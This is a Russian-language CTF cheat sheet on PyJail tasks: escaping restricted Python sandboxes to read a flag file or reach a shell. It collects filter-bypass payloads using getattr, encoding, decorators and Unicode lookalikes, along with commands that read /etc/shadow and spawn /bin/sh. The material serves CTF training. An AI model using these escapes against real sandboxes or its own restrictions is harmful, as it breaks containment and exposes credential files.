PyJail в CTF

PyJail в CTF

Капибары

PyJail это класс задач, который достаточно часто встречается в CTF. В них исследователь помещается в "песочницу" (Python shell с ограниченными возможностями) и должен получить содержимого определенного файла. Условно говоря, для этого может быть два пути: первый - это непосредственно чтение этого файла через различные лазейки, а второй - выход каким-либо способом в основной shell.

Для того, чтобы исключить самые простые варианты организатор накладывает различные ограничения. В этой статье мы будем собирать варианты их решения и обновлять ее по мере нахождения новых.

Оглавление

Алгоритм решения PyJail

Если запрещены отдельные ключевые слова

Если запрещены скобки

Если запрещены кавычки

Самое короткое чтение файла

Доступ к шеллу

Eсли нет доступа к исходному коду

Полезные ссылки

Алгоритм решения PyJail

Первым шагом мы должны проверить

1️⃣ Проверьте, что доступно: builtinskeywords, глобальные/локальные переменные, внутренние атрибуты (__subclasses____globals____self__
__builtins____spec__)

2️⃣ Проверьте можно ли переопределить встроенные функции (в том числе и __builtins__). Если последний доступен, то с его помощью можно восстановить builtins.

Если у нас в shell __builtins__ переопределен, например

while True:
  code = input()
  assert "." not in code
  exec(code, {"__builtins__": {}})

то его можно удалить, используя

# Thanks @Loldemort
del __builtins__
exec(input())

Если же del недоступен, можно попробовать другие способы.

3️⃣ Проверьте какие символы команды запрещены. Иногда их можно обойти с использованием Unicode.

4️⃣ Теперь мы понимаем, что разрешено, что запрещено и можно приступать к решению задачи ✍️

Если запрещены отдельные ключевые слова

Код задачи

lionaneesh@linux:~/ctfs$ python3 jail.py 
Hi! Welcome to pyjail!
=======================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("==========================================================")
    print(open(__file__).read())
    print("==========================================================")
    print("RUN")
    text = input('>>> ')
    print(text)
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()

Решение. Пробуем получить доступ к ним через builtins

>>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat secret.txt')

THIS IS A SECRET FILE.

или через getattr, при этом "опасные" строчки можно и разбить

print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat /etc/shadow'))

или (работает только для Python 2)

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))


Если запрещены скобки

Запрещенные скобки или любые другие символы можно обойти через использование lambda функции и их кодирование в шестнадцатеричном формате (через \x)

например

code = lambda x: "import os; os.system\x28'id'\x29"

@print
@exec
@code
class a:
  pass

или

@eval
@'__import__\x28"os"\x29.system\x28"id"\x29'.format
class _:pass


Если запрещены кавычки

Самый простой путь создания строки без кавычек это использование функции chr и ASCII символов. Например, для Hello, world! это будет:

chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(44)+chr(32)+chr(119)+chr(111)+chr(114)+chr(108)+chr(100)+chr(33)

Код для автоматизации этого процесса

print("+".join(f"chr({ord(c)})" for c in string))

Вторым способом является использование различных строковых атрибутов языка Питон, как то, .__doc__ и .name, например, quit.name[1] даст вам 'u'. Подготовленный словарь можно найти по ссылке.


Переопределение встроенных функций

Код для проверки какие функции доступны для перезаписи

for key, value in __builtins__.__dict__.items():
  try:
    value.__class__.__add__ = exec
    print(key, value.__class__)
  except TypeError:
    pass


Самое короткое чтение файла

Код задачи

import sys
from string import printable

print('''
#################################################################
#                                #
#  Welcome to pyJail!                     #
#                                #
#  You have been jailed for using too many characters.     #
#                                #
#  You are only allowed to use 16 characters of printable   #
#  ascii.                           #
#                                #
#  If you manage to break free, you will get the flag.     #
#                                #
#################################################################\n''')
code = input('> ')
sys.stdin = None
len = sum(1 for char in code if char in printable)

if len >= 17:
  print('Too long!')
  exit()

eval(code)

Решения основаны на использование unicode и различных хитростях типа использования запятой вместо read

code = 'ᵖᵣᵢⁿᵗ(*ᵒᵖᵉⁿ("flag.txt"),)'
code = "𝕤𝕪𝕤.𝕞𝕠𝕕𝕦𝕝𝕖𝕤['os'].𝕤𝕪𝕤𝕥𝕖𝕞('sh')"
code = "[*𝔰𝔶𝔰.𝔪𝔬𝔡𝔲𝔩𝔢𝔰.𝔳𝔞𝔩𝔲𝔢𝔰()][29].𝔰𝔶𝔰𝔱𝔢𝔪(𝔰𝔶𝔰.𝔢𝔵𝔢𝔠𝔲𝔱𝔞𝔟𝔩𝔢)"

Чуть подлиннее строчки получаются при использовании функции license, но они могут быть полезны, когда запрещен импорт той или иной библиотеки

>>> license._Printer__filenames=["flag.txt"]
>>> license()
CTF{...}

>>> l=license;l._Printer__filenames=["flag.txt"];l()  # 48 bytes
CTF{...}

Кроме этого можно попробовать следующие варианты

help() и затем "print\n:e/flag"
exit(set(open("flag")))
exit(*open("flag"))
help(*open("flag"))  
open(*open("flag"))
compile(".","flag","exec") 
print(*open("flag"))


Доступ к шеллу

Решение
Пробуем вызвать одну из следующих команд

breakpoint()
exec(input())
eval(input())

и затем

import os; os.system("/bin/sh")


Что делать, если нет доступа к исходному коду

Как правило, орги предоставляют исходный код интерпретатора, но бывают и задачи, в которых его нет. Тогда поможет следующий алгоритм:

  • начинаем с определения разрешенных функций. Нам интересны: dir, __import__, name, locals, globals, eval, import, __, system,
  • если есть возможность подключить модули, то пробуем. Нам интересны: os,
  • пробуем восстановить какие-то внутренности обработчиков команд. Например, через print(exit.func_code.co_consts), dir и getattr.


Полезные ссылки

Report Page